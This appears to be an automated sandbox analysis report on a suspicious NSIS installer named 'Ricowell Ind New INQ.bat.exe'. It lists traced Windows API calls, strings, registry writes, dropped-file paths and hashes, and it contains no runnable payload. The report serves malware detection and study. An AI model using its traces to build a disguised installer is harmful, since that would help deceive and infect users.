API String ID: 123533781-3196852835
Opcode ID: 6766bdf138d9a3476f59e6ec973922d24ccafdcf77b7cead4b35a4f15cd1a772
Instruction ID: 1053df79af30500630abfeafbcf843dcec04d0d4e3091bc204b5fde3a4f6985c
Opcode Fuzzy Hash: 6766bdf138d9a3476f59e6ec973922d24ccafdcf77b7cead4b35a4f15cd1a772
Instruction Fuzzy Hash: 3B416D71A00209BFCB40EFA4CE88E9E7BB5BF48354B2042A9F911FB2D1D6799D41DB54

Function 0040603A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,00421548,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,004058F7,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,?,76FB2EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0), ref: 00406045
FindClose.KERNEL32(00000000), ref: 00406051

Strings

C:\Users\user\AppData\Local\Temp\nsoFD66.tmp, xrefs: 0040603A

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsoFD66.tmp
API String ID: 2295610775-3047601863
Opcode ID: 1aa7e4dc1003f693668b82639e535814eeaefdc3a4332bebb0b1aa5890d42f5a
Instruction ID: ffb9975cce6792308ede9dbdbab0a2e32819aea082b360212a672f9e7c6ece7a
Opcode Fuzzy Hash: 1aa7e4dc1003f693668b82639e535814eeaefdc3a4332bebb0b1aa5890d42f5a
Instruction Fuzzy Hash: 7BD012319490306BC3106B787C0C85B7A599F573317118A33B56AF12F0C7389C7286ED

Function 00406061 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 14778026069da28af87b9950d589da7dca929d2a00fc8d83b3a738ce3464f0c4
Instruction ID: 2c1b19e4de550b622e70843c6ca25527790cfa0381149662c4593fbace01eca7
Opcode Fuzzy Hash: 14778026069da28af87b9950d589da7dca929d2a00fc8d83b3a738ce3464f0c4
Instruction Fuzzy Hash: 00E0C232A04211ABC321AB749D48D3B73ACAFD8751309493EF50AF6150D734AC21EBBA

Function 00403B19 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B55
ShowWindow.USER32(?), ref: 00403B72
DestroyWindow.USER32 ref: 00403B86
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403BA2
GetDlgItem.USER32(?,?), ref: 00403BC3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403BD7
IsWindowEnabled.USER32(00000000), ref: 00403BDE
GetDlgItem.USER32(?,00000001), ref: 00403C8C
GetDlgItem.USER32(?,00000002), ref: 00403C96
SetClassLongA.USER32(?,000000F2,?), ref: 00403CB0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403D01
GetDlgItem.USER32(?,00000003), ref: 00403DA7
ShowWindow.USER32(00000000,?), ref: 00403DC8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DDA
EnableWindow.USER32(?,?), ref: 00403DF5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403E0B
EnableMenuItem.USER32(00000000), ref: 00403E12
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403E2A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403E3D
lstrlenA.KERNEL32(Tosporet Setup: Installing,?,Tosporet Setup: Installing,00422F00), ref: 00403E66
SetWindowTextA.USER32(?,Tosporet Setup: Installing), ref: 00403E75
ShowWindow.USER32(?,0000000A), ref: 00403FA9

Strings

Tosporet Setup: Installing, xrefs: 00403E52, 00403E5C, 00403E65, 00403E73

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Tosporet Setup: Installing
API String ID: 3282139019-1449912710
Opcode ID: 0715b8fe610bdd71fae90ba33bb4a09e8b5ebb3c50d1a2f397537002d346961d
Instruction ID: 1f8690e76de68066656ca8d54ad2d010e53819933bf2384d883f7e4ba9537b83
Opcode Fuzzy Hash: 0715b8fe610bdd71fae90ba33bb4a09e8b5ebb3c50d1a2f397537002d346961d
Instruction Fuzzy Hash: 17C1C071A04205BBDB21AF21ED48D2B7EBCFB44706F40443EF601B11E1C7799942AB6E

Function 00403787 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406061: GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
Part of subcall function 00406061: LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
Part of subcall function 00406061: GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

lstrcatA.KERNEL32(1033,Tosporet Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Tosporet Setup: Installing,00000000,00000002,C:\Users\user\AppData\Local\Temp\,76FB3410,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",00000000), ref: 00403802
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,1033,Tosporet Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Tosporet Setup: Installing,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403877
lstrcmpiA.KERNEL32(?,.exe), ref: 0040388A
GetFileAttributesA.KERNEL32(Call), ref: 00403895
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike), ref: 004038DE

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

RegisterClassA.USER32(00422EA0), ref: 0040391B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403933
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403968
ShowWindow.USER32(00000005,00000000), ref: 0040399E
LoadLibraryA.KERNELBASE(RichEd20), ref: 004039AF
LoadLibraryA.KERNEL32(RichEd32), ref: 004039BA
GetClassInfoA.USER32(00000000,RichEdit20A,00422EA0), ref: 004039CA
GetClassInfoA.USER32(00000000,RichEdit,00422EA0), ref: 004039D7
RegisterClassA.USER32(00422EA0), ref: 004039E0
DialogBoxParamA.USER32(?,00000000,00403B19,00000000), ref: 004039FF

Strings

RichEdit20A, xrefs: 004039C2, 004039C8
Control Panel\Desktop\ResourceLocale, xrefs: 004037BB
C:\Users\user\AppData\Local\Temp\, xrefs: 00403793
1033, xrefs: 004037A7, 004037FD
Tosporet Setup: Installing, xrefs: 004037B3, 004037B9, 004037DE, 004037E7, 004037FC
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 00403811, 00403819, 004038B1, 004038B7, 004038C7
.exe, xrefs: 00403884
RichEd20, xrefs: 004039AA
Call, xrefs: 00403845, 0040384D, 0040385A, 004038A4, 004038AA
RichEd32, xrefs: 004039B5
_Nb, xrefs: 004038FA, 00403962
.DEFAULT\Control Panel\International, xrefs: 004037ED
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 0040378B
RichEdit, xrefs: 004039D1

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Tosporet Setup: Installing$_Nb
API String ID: 914957316-2231488492
Opcode ID: 4a258d8796fa34fddb02ec2619d55facefc74f4564d7f9f136a4b3ccd76ffb40
Instruction ID: 361ceaa5e45529a70bb989737ed67fdedcb7c759bf8cf29c3cde223c60b7be46
Opcode Fuzzy Hash: 4a258d8796fa34fddb02ec2619d55facefc74f4564d7f9f136a4b3ccd76ffb40
Instruction Fuzzy Hash: E661E6B16442007EE720AF659D45F273E6CEB8475AF40407FF941B22E2D67C9D02DA6E

Function 00402C79 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C8D
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,00000400), ref: 00402CA9

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059ED

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,80000000,00000003), ref: 00402CF2
GlobalAlloc.KERNELBASE(00000040,00409130), ref: 00402E39

Strings

C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe, xrefs: 00402C93, 00402CA2, 00402CB6, 00402CD3
soft, xrefs: 00402D69
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E82
Inst, xrefs: 00402D60
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED0
Null, xrefs: 00402D72
"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe", xrefs: 00402C79
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C86, 00402E51
C:\Users\user\Desktop, xrefs: 00402CD4, 00402CD9, 00402CDF
Error launching installer, xrefs: 00402CC9

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-2479921802
Opcode ID: 91e4b9dee6fe50fd73dc962a53e9cdaf65c065133738040780962d54176249d0
Instruction ID: 2a27acbe37a486d3f9fadad6f2898e15cdcbef103c1943e89973ac3215dbffb0
Opcode Fuzzy Hash: 91e4b9dee6fe50fd73dc962a53e9cdaf65c065133738040780962d54176249d0
Instruction Fuzzy Hash: BC61C671A40205ABDF20AF64DE89B9A76B4EF00315F20413BF904B72D1D7BC9E418BAD

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Strings

C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll, xrefs: 0040180C, 00401828
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 0040176C
Call, xrefs: 0040175B, 00401764, 00401771, 00401783, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD
C:\Users\user\AppData\Local\Temp\nsbF66E.tmp, xrefs: 00401789, 004017F8, 00401816

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Temp\nsbF66E.tmp$C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll$Call
API String ID: 1941528284-1676098611
Opcode ID: bbab41b7c65da336fcc9d622b469fe6745b6c4ed629919caf82812cee6b4992a
Instruction ID: 7da2985f373e49f587e0f88560f455237d5d3a700d2e38046b33ad83bb6d7614
Opcode Fuzzy Hash: bbab41b7c65da336fcc9d622b469fe6745b6c4ed629919caf82812cee6b4992a
Instruction Fuzzy Hash: 0341B871910515BACF10BFA5DC46DAF3679DF41369F20823BF511F10E1D63C8A419A6E

Function 0040501F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll), ref: 0040508D
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll, xrefs: 0040503F, 00405051, 00405057, 0040507A, 00405086

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll
API String ID: 2531174081-3231751095
Opcode ID: fe51e3db3acd615496ccbf9ac5cad90a085764a87c5addfa2b073bf2a2aea827
Instruction ID: 2b33129011dff48d1edd85efe61027b37dbb0349f6b457de8e93b882053e083c
Opcode Fuzzy Hash: fe51e3db3acd615496ccbf9ac5cad90a085764a87c5addfa2b073bf2a2aea827
Instruction Fuzzy Hash: C2219071900508BBDB119FA5CD84ADFBFB9EF14354F14807AF544B6290C2794E45DFA8

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040235A
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsbF66E.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040237A
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsbF66E.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B3
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsbF66E.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Strings

C:\Users\user\AppData\Local\Temp\nsbF66E.tmp, xrefs: 0040236B, 00402379, 0040238D, 0040239D, 004023A8

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp
API String ID: 1356686001-2171341453
Opcode ID: b5d2e43241cc5f1c643ac0585cf0187cb16dde17b219008d57ea00b15267c4df
Instruction ID: 937c1904c824b73ffe337d2eacc138a1f8ac1658d2030852d1a46e58dbdf142b
Opcode Fuzzy Hash: b5d2e43241cc5f1c643ac0585cf0187cb16dde17b219008d57ea00b15267c4df
Instruction Fuzzy Hash: D71172B1E00118BFEB10EFA4DE89EAF7678FB50358F10413AF905B61D1D7B85D41A668

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040585F: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,004058CB,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,C:\Users\user\AppData\Local\Temp\nsoFD66.tmp,?,?,76FB2EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,76FB2EE0,00000000), ref: 0040586D
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405872
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405886

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
